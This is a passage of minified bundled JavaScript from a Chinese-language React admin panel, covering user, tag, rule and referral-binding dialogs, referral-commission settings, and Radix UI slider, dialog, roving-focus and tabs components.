hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Ro?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Zs,onOpenChange:W=>{ft(W),W||Ur(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"设置超级个体标签 — ",xn==null?void 0:xn.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"选择或输入标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:hs.map(W=>s.jsx(te,{variant:Ir===W?"default":"outline",size:"sm",className:Ir===W?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50",onClick:()=>ds(W),children:W},W))}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"或手动输入"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:创业者、资源整合者等",value:Ir,onChange:W=>ds(W.target.value)})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ft(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:()=>Ma(Ir),disabled:Dn,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Dn?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Z,onOpenChange:ne,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[fe?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(Lg,{className:"w-5 h-5 text-[#38bdac]"}),fe?"编辑用户":"添加用户"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入手机号",value:ce.phone,onChange:W=>ye({...ce,phone:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入昵称",value:ce.nickname,onChange:W=>ye({...ce,nickname:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:fe?"新密码 (留空则不修改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:fe?"留空则不修改":"请输入密码",value:ce.password,onChange:W=>ye({...ce,password:W.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"管理员权限"}),s.jsx(kt,{checked:ce.isAdmin,onCheckedChange:W=>ye({...ce,isAdmin:W})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"已购全书"}),s.jsx(kt,{checked:ce.hasFullBook,onCheckedChange:W=>ye({...ce,hasFullBook:W})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ne(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:pe,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:ln,onOpenChange:yt,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),nn?"编辑规则":"添加规则"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:匹配后填写头像、付款1980需填写信息",value:Mt.title,onChange:W=>Yt({...Mt,title:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则描述"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[80px] resize-none",placeholder:"详细说明规则内容...",value:Mt.description,onChange:W=>Yt({...Mt,description:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"触发条件"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:完成匹配、付款后、注册时",value:Mt.trigger,onChange:W=>Yt({...Mt,trigger:W.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{children:s.jsx(X,{className:"text-gray-300",children:"启用状态"})}),s.jsx(kt,{checked:Mt.enabled,onCheckedChange:W=>Yt({...Mt,enabled:W})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>yt(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:On,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:oe,onOpenChange:P,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-2xl max-h-[80vh] overflow-auto",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"绑定关系 - ",le==null?void 0:le.nickname]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-3",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-[#38bdac]",children:((fs=K.stats)==null?void 0:fs.total)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"绑定总数"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-green-400",children:((Di=K.stats)==null?void 0:Di.purchased)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"已付费"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-yellow-400",children:["¥",(((Ps=K.stats)==null?void 0:Ps.earnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"累计收益"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-orange-400",children:["¥",(((Li=K.stats)==null?void 0:Li.pendingEarnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"待提现"})]})]}),z?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(Ke,{className:"w-5 h-5 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):(((Pa=K.referrals)==null?void 0:Pa.length)??0)>0?s.jsx("div",{className:"space-y-2 max-h-[300px] overflow-y-auto",children:(K.referrals??[]).map((W,Pe)=>{var Ge;const Ve=W;return s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg p-3",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:((Ge=Ve.nickname)==null?void 0:Ge.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white text-sm",children:Ve.nickname}),s.jsx("div",{className:"text-xs text-gray-500",children:Ve.phone||(Ve.hasOpenId?"微信用户":"未绑定")})]})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Ve.status==="vip"&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"全书已购"}),Ve.status==="paid"&&s.jsxs(qe,{className:"bg-blue-500/20 text-blue-400 border-0 text-xs",children:["已付费",Ve.purchasedSections,"章"]}),Ve.status==="free"&&s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0 text-xs",children:"未付费"}),s.jsx("span",{className:"text-xs text-gray-500",children:Ve.createdAt?new Date(Ve.createdAt).toLocaleDateString():""})]})]},Ve.id||Pe)})}):s.jsx("div",{className:"text-center py-8 text-gray-500",children:"暂无绑定用户"})]}),s.jsx(on,{children:s.jsx(te,{variant:"outline",onClick:()=>P(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"关闭"})})]})}),s.jsx(n0,{open:Y,onClose:()=>B(!1),userId:re,onUserUpdated:Rt})]})}function mh(t,[e,n]){return Math.min(n,Math.max(e,t))}var kk=["PageUp","PageDown"],Sk=["ArrowUp","ArrowDown","ArrowLeft","ArrowRight"],Ck={"from-left":["Home","PageDown","ArrowDown","ArrowLeft"],"from-right":["Home","PageDown","ArrowDown","ArrowRight"],"from-bottom":["Home","PageDown","ArrowDown","ArrowLeft"],"from-top":["Home","PageDown","ArrowUp","ArrowLeft"]},zl="Slider",[Bg,mP,gP]=Xx(zl),[Ek]=Ei(zl,[gP]),[xP,wf]=Ek(zl),Tk=b.forwardRef((t,e)=>{const{name:n,min:r=0,max:a=100,step:i=1,orientation:o="horizontal",disabled:c=!1,minStepsBetweenThumbs:u=0,defaultValue:h=[r],value:f,onValueChange:m=()=>{},onValueCommit:g=()=>{},inverted:y=!1,form:N,...w}=t,v=b.useRef(new Set),k=b.useRef(0),E=o==="horizontal"?yP:bP,[T=[],I]=xo({prop:f,defaultProp:h,onChange:Z=>{var fe;(fe=[...v.current][k.current])==null||fe.focus(),m(Z)}}),O=b.useRef(T);function L(Z){const ne=kP(T,Z);_(Z,ne)}function R(Z){_(Z,k.current)}function D(){const Z=O.current[k.current];T[k.current]!==Z&&g(T)}function _(Z,ne,{commit:fe}={commit:!1}){const xe=TP(i),$=MP(Math.round((Z-r)/i)*i+r,xe),H=mh($,[r,a]);I((oe=[])=>{const P=wP(oe,H,ne);if(EP(P,u*i)){k.current=P.indexOf(H);const K=String(P)!==String(oe);return K&&fe&&g(P),K?P:oe}else return oe})}return s.jsx(xP,{scope:t.__scopeSlider,name:n,disabled:c,min:r,max:a,valueIndexToChangeRef:k,thumbs:v.current,values:T,orientation:o,form:N,children:s.jsx(Bg.Provider,{scope:t.__scopeSlider,children:s.jsx(Bg.Slot,{scope:t.__scopeSlider,children:s.jsx(E,{"aria-disabled":c,"data-disabled":c?"":void 0,...w,ref:e,onPointerDown:ot(w.onPointerDown,()=>{c||(O.current=T)}),min:r,max:a,inverted:y,onSlideStart:c?void 0:L,onSlideMove:c?void 0:R,onSlideEnd:c?void 0:D,onHomeKeyDown:()=>!c&&_(r,0,{commit:!0}),onEndKeyDown:()=>!c&&_(a,T.length-1,{commit:!0}),onStepKeyDown:({event:Z,direction:ne})=>{if(!c){const $=kk.includes(Z.key)||Z.shiftKey&&Sk.includes(Z.key)?10:1,H=k.current,oe=T[H],P=i*$*ne;_(oe+P,H,{commit:!0})}}})})})})});Tk.displayName=zl;var[Mk,Ak]=Ek(zl,{startEdge:"left",endEdge:"right",size:"width",direction:1}),yP=b.forwardRef((t,e)=>{const{min:n,max:r,dir:a,inverted:i,onSlideStart:o,onSlideMove:c,onSlideEnd:u,onStepKeyDown:h,...f}=t,[m,g]=b.useState(null),y=Ct(e,E=>g(E)),N=b.useRef(void 0),w=bf(a),v=w==="ltr",k=v&&!i||!v&&i;function C(E){const T=N.current||m.getBoundingClientRect(),I=[0,T.width],L=s0(I,k?[n,r]:[r,n]);return N.current=T,L(E-T.left)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:k?"left":"right",endEdge:k?"right":"left",direction:k?1:-1,size:"width",children:s.jsx(Ik,{dir:w,"data-orientation":"horizontal",...f,ref:y,style:{...f.style,"--radix-slider-thumb-transform":"translateX(-50%)"},onSlideStart:E=>{const T=C(E.clientX);o==null||o(T)},onSlideMove:E=>{const T=C(E.clientX);c==null||c(T)},onSlideEnd:()=>{N.current=void 0,u==null||u()},onStepKeyDown:E=>{const I=Ck[k?"from-left":"from-right"].includes(E.key);h==null||h({event:E,direction:I?-1:1})}})})}),bP=b.forwardRef((t,e)=>{const{min:n,max:r,inverted:a,onSlideStart:i,onSlideMove:o,onSlideEnd:c,onStepKeyDown:u,...h}=t,f=b.useRef(null),m=Ct(e,f),g=b.useRef(void 0),y=!a;function N(w){const v=g.current||f.current.getBoundingClientRect(),k=[0,v.height],E=s0(k,y?[r,n]:[n,r]);return g.current=v,E(w-v.top)}return s.jsx(Mk,{scope:t.__scopeSlider,startEdge:y?"bottom":"top",endEdge:y?"top":"bottom",size:"height",direction:y?1:-1,children:s.jsx(Ik,{"data-orientation":"vertical",...h,ref:m,style:{...h.style,"--radix-slider-thumb-transform":"translateY(50%)"},onSlideStart:w=>{const v=N(w.clientY);i==null||i(v)},onSlideMove:w=>{const v=N(w.clientY);o==null||o(v)},onSlideEnd:()=>{g.current=void 0,c==null||c()},onStepKeyDown:w=>{const k=Ck[y?"from-bottom":"from-top"].includes(w.key);u==null||u({event:w,direction:k?-1:1})}})})}),Ik=b.forwardRef((t,e)=>{const{__scopeSlider:n,onSlideStart:r,onSlideMove:a,onSlideEnd:i,onHomeKeyDown:o,onEndKeyDown:c,onStepKeyDown:u,...h}=t,f=wf(zl,n);return s.jsx(ht.span,{...h,ref:e,onKeyDown:ot(t.onKeyDown,m=>{m.key==="Home"?(o(m),m.preventDefault()):m.key==="End"?(c(m),m.preventDefault()):kk.concat(Sk).includes(m.key)&&(u(m),m.preventDefault())}),onPointerDown:ot(t.onPointerDown,m=>{const g=m.target;g.setPointerCapture(m.pointerId),m.preventDefault(),f.thumbs.has(g)?g.focus():r(m)}),onPointerMove:ot(t.onPointerMove,m=>{m.target.hasPointerCapture(m.pointerId)&&a(m)}),onPointerUp:ot(t.onPointerUp,m=>{const g=m.target;g.hasPointerCapture(m.pointerId)&&(g.releasePointerCapture(m.pointerId),i(m))})})}),Rk="SliderTrack",Pk=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Rk,n);return s.jsx(ht.span,{"data-disabled":a.disabled?"":void 0,"data-orientation":a.orientation,...r,ref:e})});Pk.displayName=Rk;var Vg="SliderRange",Ok=b.forwardRef((t,e)=>{const{__scopeSlider:n,...r}=t,a=wf(Vg,n),i=Ak(Vg,n),o=b.useRef(null),c=Ct(e,o),u=a.values.length,h=a.values.map(g=>_k(g,a.min,a.max)),f=u>1?Math.min(...h):0,m=100-Math.max(...h);return s.jsx(ht.span,{"data-orientation":a.orientation,"data-disabled":a.disabled?"":void 0,...r,ref:c,style:{...t.style,[i.startEdge]:f+"%",[i.endEdge]:m+"%"}})});Ok.displayName=Vg;var Hg="SliderThumb",Dk=b.forwardRef((t,e)=>{const n=mP(t.__scopeSlider),[r,a]=b.useState(null),i=Ct(e,c=>a(c)),o=b.useMemo(()=>r?n().findIndex(c=>c.ref.current===r):-1,[n,r]);return s.jsx(vP,{...t,ref:i,index:o})}),vP=b.forwardRef((t,e)=>{const{__scopeSlider:n,index:r,name:a,...i}=t,o=wf(Hg,n),c=Ak(Hg,n),[u,h]=b.useState(null),f=Ct(e,C=>h(C)),m=u?o.form||!!u.closest("form"):!0,g=t0(u),y=o.values[r],N=y===void 0?0:_k(y,o.min,o.max),w=jP(r,o.values.length),v=g==null?void 0:g[c.size],k=v?SP(v,N,c.direction):0;return b.useEffect(()=>{if(u)return o.thumbs.add(u),()=>{o.thumbs.delete(u)}},[u,o.thumbs]),s.jsxs("span",{style:{transform:"var(--radix-slider-thumb-transform)",position:"absolute",[c.startEdge]:`calc(${N}% + ${k}px)`},children:[s.jsx(Bg.ItemSlot,{scope:t.__scopeSlider,children:s.jsx(ht.span,{role:"slider","aria-label":t["aria-label"]||w,"aria-valuemin":o.min,"aria-valuenow":y,"aria-valuemax":o.max,"aria-orientation":o.orientation,"data-orientation":o.orientation,"data-disabled":o.disabled?"":void 0,tabIndex:o.disabled?void 0:0,...i,ref:f,style:y===void 0?{display:"none"}:t.style,onFocus:ot(t.onFocus,()=>{o.valueIndexToChangeRef.current=r})})}),m&&s.jsx(Lk,{name:a??(o.name?o.name+(o.values.length>1?"[]":""):void 0),form:o.form,value:y},r)]})});Dk.displayName=Hg;var NP="RadioBubbleInput",Lk=b.forwardRef(({__scopeSlider:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(a,r),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLInputElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("input",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.input,{style:{display:"none"},...n,ref:i,defaultValue:e})});Lk.displayName=NP;function wP(t=[],e,n){const r=[...t];return r[n]=e,r.sort((a,i)=>a-i)}function _k(t,e,n){const i=100/(n-e)*(t-e);return mh(i,[0,100])}function jP(t,e){return e>2?`Value ${t+1} of ${e}`:e===2?["Minimum","Maximum"][t]:void 0}function kP(t,e){if(t.length===1)return 0;const n=t.map(a=>Math.abs(a-e)),r=Math.min(...n);return n.indexOf(r)}function SP(t,e,n){const r=t/2,i=s0([0,50],[0,r]);return(r-i(e)*n)*n}function CP(t){return t.slice(0,-1).map((e,n)=>t[n+1]-e)}function EP(t,e){if(e>0){const n=CP(t);return Math.min(...n)>=e}return!0}function s0(t,e){return n=>{if(t[0]===t[1]||e[0]===e[1])return e[0];const r=(e[1]-e[0])/(t[1]-t[0]);return e[0]+r*(n-t[0])}}function TP(t){return(String(t).split(".")[1]||"").length}function MP(t,e){const n=Math.pow(10,e);return Math.round(t*n)/n}var AP=Tk,IP=Pk,RP=Ok,PP=Dk;function OP({className:t,defaultValue:e,value:n,min:r=0,max:a=100,...i}){const o=b.useMemo(()=>Array.isArray(n)?n:Array.isArray(e)?e:[r,a],[n,e,r,a]);return s.jsxs(AP,{defaultValue:e,value:n,min:r,max:a,className:Et("relative flex w-full touch-none items-center select-none data-[disabled]:opacity-50",t),...i,children:[s.jsx(IP,{className:"bg-gray-600 relative grow overflow-hidden rounded-full h-1.5 w-full",children:s.jsx(RP,{className:"bg-[#38bdac] absolute h-full rounded-full"})}),Array.from({length:o.length},(c,u)=>s.jsx(PP,{className:"block size-4 shrink-0 rounded-full border-2 border-[#38bdac] bg-white shadow-sm focus-visible:ring-2 focus-visible:ring-[#38bdac] focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50"},u))]})}const DP={distributorShare:90,minWithdrawAmount:10,bindingDays:30,userDiscount:5,enableAutoWithdraw:!1,vipOrderShareVip:20,vipOrderShareNonVip:10};function zk(t){const[e,n]=b.useState(DP),[r,a]=b.useState(!0),[i,o]=b.useState(!1);b.useEffect(()=>{De("/api/admin/referral-settings").then(h=>{const f=h==null?void 0:h.data;f&&typeof f=="object"&&n({distributorShare:f.distributorShare??90,minWithdrawAmount:f.minWithdrawAmount??10,bindingDays:f.bindingDays??30,userDiscount:f.userDiscount??5,enableAutoWithdraw:f.enableAutoWithdraw??!1,vipOrderShareVip:f.vipOrderShareVip??20,vipOrderShareNonVip:f.vipOrderShareNonVip??10})}).catch(console.error).finally(()=>a(!1))},[]);const c=async()=>{o(!0);try{const h={distributorShare:Number(e.distributorShare)||0,minWithdrawAmount:Number(e.minWithdrawAmount)||0,bindingDays:Number(e.bindingDays)||0,userDiscount:Number(e.userDiscount)||0,enableAutoWithdraw:!!e.enableAutoWithdraw,vipOrderShareVip:Number(e.vipOrderShareVip)||20,vipOrderShareNonVip:Number(e.vipOrderShareNonVip)||10},f=await vt("/api/admin/referral-settings",h);if(!f||f.success===!1){ie.error("保存失败: "+(f&&typeof f=="object"&&"error"in f?f.error:""));return}ie.success(`✅ 分销配置已保存成功! +For more information, see https://radix-ui.com/primitives/docs/components/${e.docsSlug}`;return b.useEffect(()=>{t&&(document.getElementById(t)||console.error(n))},[n,t]),null},IR="DialogDescriptionWarning",RR=({contentRef:t,descriptionId:e})=>{const r=`Warning: Missing \`Description\` or \`aria-describedby={undefined}\` for {${Jj(IR).contentName}}.`;return b.useEffect(()=>{var i;const a=(i=t.current)==null?void 0:i.getAttribute("aria-describedby");e&&a&&(document.getElementById(e)||console.warn(r))},[r,t,e]),null},PR=Lj,OR=$j,DR=Fj,LR=Bj,_R=Hj,zR=Uj,$R=qj;function Dt(t){return s.jsx(PR,{"data-slot":"dialog",...t})}function FR(t){return s.jsx(OR,{...t})}const Yj=b.forwardRef(({className:t,...e},n)=>s.jsx(DR,{ref:n,className:Et("fixed inset-0 z-50 bg-black/50",t),...e}));Yj.displayName="DialogOverlay";const At=b.forwardRef(({className:t,children:e,showCloseButton:n=!0,...r},a)=>s.jsxs(FR,{children:[s.jsx(Yj,{}),s.jsxs(LR,{ref:a,"aria-describedby":void 0,className:Et("fixed top-[50%] left-[50%] z-50 grid w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 gap-4 rounded-lg border bg-background p-6 shadow-lg",t),...r,children:[e,n&&s.jsxs($R,{className:"absolute right-4 top-4 rounded-sm opacity-70 hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none",children:[s.jsx(ir,{className:"h-4 w-4"}),s.jsx("span",{className:"sr-only",children:"Close"})]})]})]}));At.displayName="DialogContent";function Lt({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col gap-2 text-center sm:text-left",t),...e})}function on({className:t,...e}){return s.jsx("div",{className:Et("flex flex-col-reverse gap-2 sm:flex-row sm:justify-end",t),...e})}function _t(t){return s.jsx(_R,{className:"text-lg font-semibold leading-none",...t})}function yf(t){return s.jsx(zR,{className:"text-sm text-muted-foreground",...t})}const BR=cj("inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 transition-colors",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground",secondary:"border-transparent bg-secondary text-secondary-foreground",destructive:"border-transparent bg-destructive text-white",outline:"text-foreground"}},defaultVariants:{variant:"default"}});function We({className:t,variant:e,asChild:n=!1,...r}){const a=n?ij:"span";return s.jsx(a,{className:Et(BR({variant:e}),t),...r})}var VR=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],HR=VR.reduce((t,e)=>{const n=aj(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{}),WR="Label",Qj=b.forwardRef((t,e)=>s.jsx(HR.label,{...t,ref:e,onMouseDown:n=>{var a;n.target.closest("button, input, select, textarea")||((a=t.onMouseDown)==null||a.call(t,n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));Qj.displayName=WR;var Xj=Qj;const X=b.forwardRef(({className:t,...e},n)=>s.jsx(Xj,{ref:n,className:Et("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",t),...e}));X.displayName=Xj.displayName;function Xx(t){const e=t+"CollectionProvider",[n,r]=Ei(e),[a,i]=n(e,{collectionRef:{current:null},itemMap:new Map}),o=w=>{const{scope:v,children:k}=w,C=br.useRef(null),E=br.useRef(new Map).current;return s.jsx(a,{scope:v,itemMap:E,collectionRef:C,children:k})};o.displayName=e;const c=t+"CollectionSlot",u=ed(c),h=br.forwardRef((w,v)=>{const{scope:k,children:C}=w,E=i(c,k),T=Ct(v,E.collectionRef);return s.jsx(u,{ref:T,children:C})});h.displayName=c;const f=t+"CollectionItemSlot",m="data-radix-collection-item",g=ed(f),y=br.forwardRef((w,v)=>{const{scope:k,children:C,...E}=w,T=br.useRef(null),I=Ct(v,T),O=i(f,k);return br.useEffect(()=>(O.itemMap.set(T,{ref:T,...E}),()=>void O.itemMap.delete(T))),s.jsx(g,{[m]:"",ref:I,children:C})});y.displayName=f;function N(w){const v=i(t+"CollectionConsumer",w);return br.useCallback(()=>{const C=v.collectionRef.current;if(!C)return[];const E=Array.from(C.querySelectorAll(`[${m}]`));return Array.from(v.itemMap.values()).sort((O,L)=>E.indexOf(O.ref.current)-E.indexOf(L.ref.current))},[v.collectionRef,v.itemMap])}return[{Provider:o,Slot:h,ItemSlot:y},N,r]}var UR=b.createContext(void 0);function bf(t){const e=b.useContext(UR);return t||e||"ltr"}var Fm="rovingFocusGroup.onEntryFocus",KR={bubbles:!1,cancelable:!0},xd="RovingFocusGroup",[Fg,Zj,qR]=Xx(xd),[GR,ek]=Ei(xd,[qR]),[JR,YR]=GR(xd),tk=b.forwardRef((t,e)=>s.jsx(Fg.Provider,{scope:t.__scopeRovingFocusGroup,children:s.jsx(Fg.Slot,{scope:t.__scopeRovingFocusGroup,children:s.jsx(QR,{...t,ref:e})})}));tk.displayName=xd;var QR=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,orientation:r,loop:a=!1,dir:i,currentTabStopId:o,defaultCurrentTabStopId:c,onCurrentTabStopIdChange:u,onEntryFocus:h,preventScrollOnEntryFocus:f=!1,...m}=t,g=b.useRef(null),y=Ct(e,g),N=bf(i),[w,v]=xo({prop:o,defaultProp:c??null,onChange:u,caller:xd}),[k,C]=b.useState(!1),E=bi(h),T=Zj(n),I=b.useRef(!1),[O,L]=b.useState(0);return b.useEffect(()=>{const R=g.current;if(R)return R.addEventListener(Fm,E),()=>R.removeEventListener(Fm,E)},[E]),s.jsx(JR,{scope:n,orientation:r,dir:N,loop:a,currentTabStopId:w,onItemFocus:b.useCallback(R=>v(R),[v]),onItemShiftTab:b.useCallback(()=>C(!0),[]),onFocusableItemAdd:b.useCallback(()=>L(R=>R+1),[]),onFocusableItemRemove:b.useCallback(()=>L(R=>R-1),[]),children:s.jsx(ht.div,{tabIndex:k||O===0?-1:0,"data-orientation":r,...m,ref:y,style:{outline:"none",...t.style},onMouseDown:ot(t.onMouseDown,()=>{I.current=!0}),onFocus:ot(t.onFocus,R=>{const D=!I.current;if(R.target===R.currentTarget&&D&&!k){const z=new CustomEvent(Fm,KR);if(R.currentTarget.dispatchEvent(z),!z.defaultPrevented){const Z=T().filter(H=>H.focusable),ne=Z.find(H=>H.active),fe=Z.find(H=>H.id===w),$=[ne,fe,...Z].filter(Boolean).map(H=>H.ref.current);sk($,f)}}I.current=!1}),onBlur:ot(t.onBlur,()=>C(!1))})})}),nk="RovingFocusGroupItem",rk=b.forwardRef((t,e)=>{const{__scopeRovingFocusGroup:n,focusable:r=!0,active:a=!1,tabStopId:i,children:o,...c}=t,u=fi(),h=i||u,f=YR(nk,n),m=f.currentTabStopId===h,g=Zj(n),{onFocusableItemAdd:y,onFocusableItemRemove:N,currentTabStopId:w}=f;return b.useEffect(()=>{if(r)return y(),()=>N()},[r,y,N]),s.jsx(Fg.ItemSlot,{scope:n,id:h,focusable:r,active:a,children:s.jsx(ht.span,{tabIndex:m?0:-1,"data-orientation":f.orientation,...c,ref:e,onMouseDown:ot(t.onMouseDown,v=>{r?f.onItemFocus(h):v.preventDefault()}),onFocus:ot(t.onFocus,()=>f.onItemFocus(h)),onKeyDown:ot(t.onKeyDown,v=>{if(v.key==="Tab"&&v.shiftKey){f.onItemShiftTab();return}if(v.target!==v.currentTarget)return;const k=eP(v,f.orientation,f.dir);if(k!==void 0){if(v.metaKey||v.ctrlKey||v.altKey||v.shiftKey)return;v.preventDefault();let E=g().filter(T=>T.focusable).map(T=>T.ref.current);if(k==="last")E.reverse();else if(k==="prev"||k==="next"){k==="prev"&&E.reverse();const T=E.indexOf(v.currentTarget);E=f.loop?tP(E,T+1):E.slice(T+1)}setTimeout(()=>sk(E))}}),children:typeof o=="function"?o({isCurrentTabStop:m,hasTabStop:w!=null}):o})})});rk.displayName=nk;var XR={ArrowLeft:"prev",ArrowUp:"prev",ArrowRight:"next",ArrowDown:"next",PageUp:"first",Home:"first",PageDown:"last",End:"last"};function ZR(t,e){return e!=="rtl"?t:t==="ArrowLeft"?"ArrowRight":t==="ArrowRight"?"ArrowLeft":t}function eP(t,e,n){const r=ZR(t.key,n);if(!(e==="vertical"&&["ArrowLeft","ArrowRight"].includes(r))&&!(e==="horizontal"&&["ArrowUp","ArrowDown"].includes(r)))return XR[r]}function sk(t,e=!1){const n=document.activeElement;for(const r of t)if(r===n||(r.focus({preventScroll:e}),document.activeElement!==n))return}function tP(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var nP=tk,rP=rk,vf="Tabs",[sP]=Ei(vf,[ek]),ak=ek(),[aP,Zx]=sP(vf),ik=b.forwardRef((t,e)=>{const{__scopeTabs:n,value:r,onValueChange:a,defaultValue:i,orientation:o="horizontal",dir:c,activationMode:u="automatic",...h}=t,f=bf(c),[m,g]=xo({prop:r,onChange:a,defaultProp:i??"",caller:vf});return 